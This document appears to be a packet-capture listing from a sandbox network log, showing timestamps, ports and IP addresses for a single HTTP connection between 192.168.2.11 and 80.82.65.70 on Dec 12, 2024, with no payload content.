Dec 12, 2024 16:48:07.440712929 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.440910101 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.440968037 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.441582918 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.441677094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.441729069 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.442266941 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.442404985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.442460060 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.443099022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.443137884 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.443217039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.443506002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.443902969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.443939924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.444025993 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.444062948 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.444597960 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.444700956 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.444747925 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.444839954 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.445621014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.445673943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.445753098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.445822954 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.446361065 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.446458101 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.446470976 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.446508884 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.446953058 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.446997881 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.447079897 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.447273016 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.447747946 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.447798014 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.447858095 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.447906017 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.448575020 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.448622942 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.448648930 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.448662996 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.502610922 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.502667904 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.502684116 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.503098965 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.503150940 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.503227949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.503269911 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.503381968 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.503500938 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.503854036 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.503951073 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.504010916 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.504586935 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.504642963 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.538724899 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.538861990 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.538957119 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.538978100 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.539160013 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.539206982 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.539972067 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.540019989 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.540222883 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.540755987 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.540788889 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.540793896 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.540815115 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.540828943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.541162014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.541210890 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.541270018 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.541359901 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.541865110 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.541913033 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.541991949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.542033911 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.542663097 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.542711020 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.542779922 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.542826891 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.543451071 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.543505907 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.543540001 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.543581009 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.544224024 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.544337034 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.544387102 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.545006990 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.545064926 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.545125008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.545171022 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.545808077 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.545861959 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.545881987 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.545922041 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.546570063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.546627998 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.546658039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.546701908 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.547358036 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.547410011 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.547446012 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.547485113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.548152924 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.548202038 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.548238039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.548293114 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.548960924 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.549006939 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.549134016 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.549176931 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.549721956 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.549765110 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.549902916 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.549946070 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.550487041 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.550532103 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.550616980 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.550659895 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.551275969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.551374912 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.551413059 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.552068949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.552194118 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.552249908 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.552901983 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.552985907 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.553046942 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.553641081 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.553735018 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.553780079 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.617990971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.618053913 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.618158102 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.618158102 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.618211031 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.618350029 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.618392944 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.618412971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.618972063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.619019032 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.619179964 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.619225979 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.619735003 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.619788885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.619837046 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.620323896 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.620368004 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.620508909 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.620554924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.621071100 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.621120930 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.621184111 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.621227980 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.621861935 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.621907949 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.622047901 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.622092962 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.622654915 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.622704983 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.622740984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.622783899 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.623454094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.623505116 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.623572111 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.623615980 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.624233961 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.624277115 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.624326944 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.624367952 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.625040054 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.625087976 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.625197887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.625406981 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.625809908 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.625853062 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.625940084 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.625992060 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.626544952 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.626629114 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.626662970 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.626708984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.627357006 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.627408028 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.627502918 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.627548933 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.628123999 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.628144979 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.628170967 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.628185034 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.628961086 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.629077911 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.629141092 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.629702091 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.629822016 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.629877090 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.630517960 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.630575895 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.630634069 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.631267071 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.631335020 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.631364107 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.631407022 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.632066965 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.632116079 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.632198095 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.632247925 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.632807016 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.632858038 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.632946014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.632993937 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.633831024 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.633878946 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.633882046 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.633922100 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.634398937 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.634449005 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.634483099 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.634531021 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.635236979 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.635284901 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.635354042 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.635401011 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.635962963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.636009932 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.636090994 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.636141062 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.636774063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.636826992 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.636893034 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.636931896 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.637559891 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.637612104 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.637634039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.637690067 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.638338089 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.638386965 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.638402939 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.638449907 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.639158010 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.639204025 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.639368057 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.639416933 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.639890909 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.639941931 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.639952898 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.639991045 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.640644073 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.640692949 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.640718937 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.640768051 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.694907904 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.695058107 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.695102930 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.695290089 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.695342064 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.695357084 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.695398092 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.695768118 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.695998907 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.696074963 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.696111917 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.696171045 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.696753025 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.696858883 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.731571913 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.731702089 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.731844902 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.731844902 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.732007027 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.732027054 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.732091904 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.732775927 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.732850075 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.732877970 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.733151913 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.733583927 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.733704090 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.733784914 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.733953953 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.734354019 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.734478951 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.734484911 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.734525919 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.735100985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.735161066 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.735218048 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.735266924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.735889912 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.735950947 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.735999107 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.736067057 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.736681938 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.736824036 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.736867905 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.736867905 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.737463951 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.737524033 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.737565041 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.737888098 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.738246918 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.738311052 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.738331079 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.738373041 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.739017010 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.739084959 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.739150047 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.739809036 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.739927053 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.740008116 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.740354061 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.740569115 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.740659952 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.740962982 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.741347075 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.741410017 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.741473913 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.741615057 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.742152929 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.742221117 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.742285013 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.742558956 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.742914915 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.742969990 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.743032932 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.743403912 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.743711948 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.743861914 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.743912935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.744551897 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.744570971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.744601965 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.744616985 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.745301962 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.745367050 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.745397091 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.745413065 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.746040106 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.746131897 CET	49819	80	192.168.2.11	80.82.65.70
